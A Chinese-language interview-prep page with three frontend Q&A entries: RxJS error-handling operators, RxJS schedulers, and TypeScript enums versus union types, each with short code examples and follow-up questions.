核心答案RxJS 中 Observable 一旦出错,整个流就会终止。常用的错误处理操作符有五个:catchError — 捕获错误,返回替代 Observable,流继续retry(n) — 出错后重新订阅,最多重试 n 次retryWhen — 自定义重试策略(延迟、指数退避等)finalize — 流结束(无论成功还是出错)时执行清理onErrorResumeNext — 出错后跳到下一个 Observable 继续其中 catchError 是面试最常考的,关键在于理解它的位置决定行为:放在 mergeMap 内部只捕获单条流错误,放在外部则整个流被替换。catchError 的位置陷阱// 错误写法:外层 catchError,一条失败整条流终止source$.pipe( mergeMap(id => fetchData(id)), catchError(() => of(fallback)) // 任一请求失败,后续全部跳过);// 正确写法:内层 catchError,单条失败不影响其他source$.pipe( mergeMap(id => fetchData(id).pipe( catchError(() => of(fallback)) // 只替换这一条 )));面试中经常追问这个区别:内层捕获让每条数据流独立容错,外层捕获则是兜底策略。retry 与 retryWhen 怎么选retry(3) 简单粗暴,立刻重试三次。实际项目中更常见带延迟的重试:source$.pipe( retryWhen(errors => errors.pipe( scan((count, err) => { if (count >= 3) throw err; return count + 1; }, 0), delayWhen(count => timer(Math.pow(2, count) * 1000)) ) ));指数退避重试是生产环境的标准做法,面试能答出这个基本过关。注意 RxJS 7 之后 retryWhen 已废弃,推荐用 retry({ delay: ... }) 替代。finalize 不是 finallyfinalize 无论成功、出错还是取消订阅都会执行,适合释放资源(关闭连接、清除定时器等)。它不接收参数,拿不到错误信息,别跟 Promise 的 finally 混淆。追问方向catchError 返回 throwError 会怎样?——错误继续向上传播retry 的重试是重新订阅还是重新执行?——重新订阅整个上游Observable 出错后订阅者还能收到值吗?——不能,流已终止
前端阅读 05月27日 21:25

RxJS 中的调度器(Scheduler)是什么?如何使用?

调度器是什么调度器决定 RxJS 中通知(next/error/complete)的执行时机和上下文。简单说:它控制一段 Observable 逻辑"在什么时候跑"——同步、微任务、宏任务还是动画帧。RxJS 内置 5 种调度器,核心区别如下:| 调度器 | 底层机制 | 典型场景 ||--------|----------|----------|| null(同步) | 直接递归调用 | 默认,少量数据 || queueScheduler | 同步蹦床调度 | 递归/迭代,防栈溢出 || asapScheduler | Promise.then(微任务) | 优先级高于宏任务的异步 || asyncScheduler | setInterval(宏任务) | 延迟、定时操作 || animationFrameScheduler | requestAnimationFrame | 浏览器动画 |怎么指定调度器三种方式:1. 创建时传入——作为操作符最后一个参数:of(1, 2, 3, asyncScheduler).subscribe(console.log);2. observeOn / subscribeOn:observeOn(asyncScheduler):下游通知切到异步调度subscribeOn(asyncScheduler):上游订阅动作切到异步调度二者区别常被追问:subscribeOn 影响的是"什么时候开始执行 Observable 逻辑",observeOn 影响的是"下游在哪个调度器上接收通知"。3. schedule 方法——手动调度:asyncScheduler.schedule(() => console.log('1s后'), 1000);面试高频追问asapScheduler 和 asyncScheduler 有什么区别?asapScheduler 走微任务队列(Promise.then),asyncScheduler 走宏任务队列(setTimeout/setInterval)。微任务优先级更高,会在当前宏任务结束后、下一个宏任务之前执行。需要尽快响应但不阻塞主线程时选 asap,需要真正延迟时选 async。queueScheduler 和同步调度器有什么区别?同步调度器直接递归调用,大量数据可能栈溢出。queueScheduler 用蹦床调度(trampoline),把递归展开为循环迭代,避免栈溢出同时保持同步语义。什么时候该手动指定调度器?大多数时候不需要——RxJS 按最小并发原则自动选择默认调度器。手动指定主要出现在三个场景:测试中用 TestScheduler 控制时间、动画中用 animationFrameScheduler 同步渲染帧、需要改变默认执行上下文时。如何在测试中控制调度器?使用 TestScheduler,它提供虚拟时钟,可以用 marble diagram 声明时序并同步断言结果,避免真实等待。选择建议不需要调度器就不加。需要延迟选 async,需要非阻塞优先级选 asap,递归防溢出选 queue,动画选 animationFrame。过度使用调度器只会增加复杂度和性能开销。
前端阅读 05月27日 21:24

如何在TypeScript中处理枚举?

TypeScript中如何处理枚举?TypeScript枚举分为数字枚举、字符串枚举和常量枚举三种。面试中重点考察它们的区别、反向映射机制以及何时该用union type替代。数字枚举默认从0自增,支持反向映射(值→名):enum Status { Pending, Approved, Rejected }// Status.Pending === 0, Status[0] === "Pending"字符串枚举不支持反向映射,但可读性更好,调试时值有意义:enum Role { Admin = "ADMIN", User = "USER" }const enum在编译时内联,不生成JS对象,减小产物体积:const enum Color { Red, Green, Blue }let c = Color.Red; // 编译后: let c = 0关键区别与陷阱数字枚举有反向映射,字符串枚举没有异构枚举(数字+字符串混合)不推荐使用,TypeScript本身也会警告const enum在isolatedModules模式下可能出问题,跨模块引用需谨慎枚举是运行时对象,占用JS产物体积何时用union type替代当值少且不需要反向映射时,union type更轻量:type Direction = "up" | "down" | "left" | "right"union type零运行时开销、类型安全、支持tree-shaking,是现代TS项目的首选。枚举更适合值多、需要反向映射或运行时遍历的场景。追问const enum和普通enum编译产物有什么区别?为什么字符串枚举没有反向映射?keyof typeof Status能得到什么类型?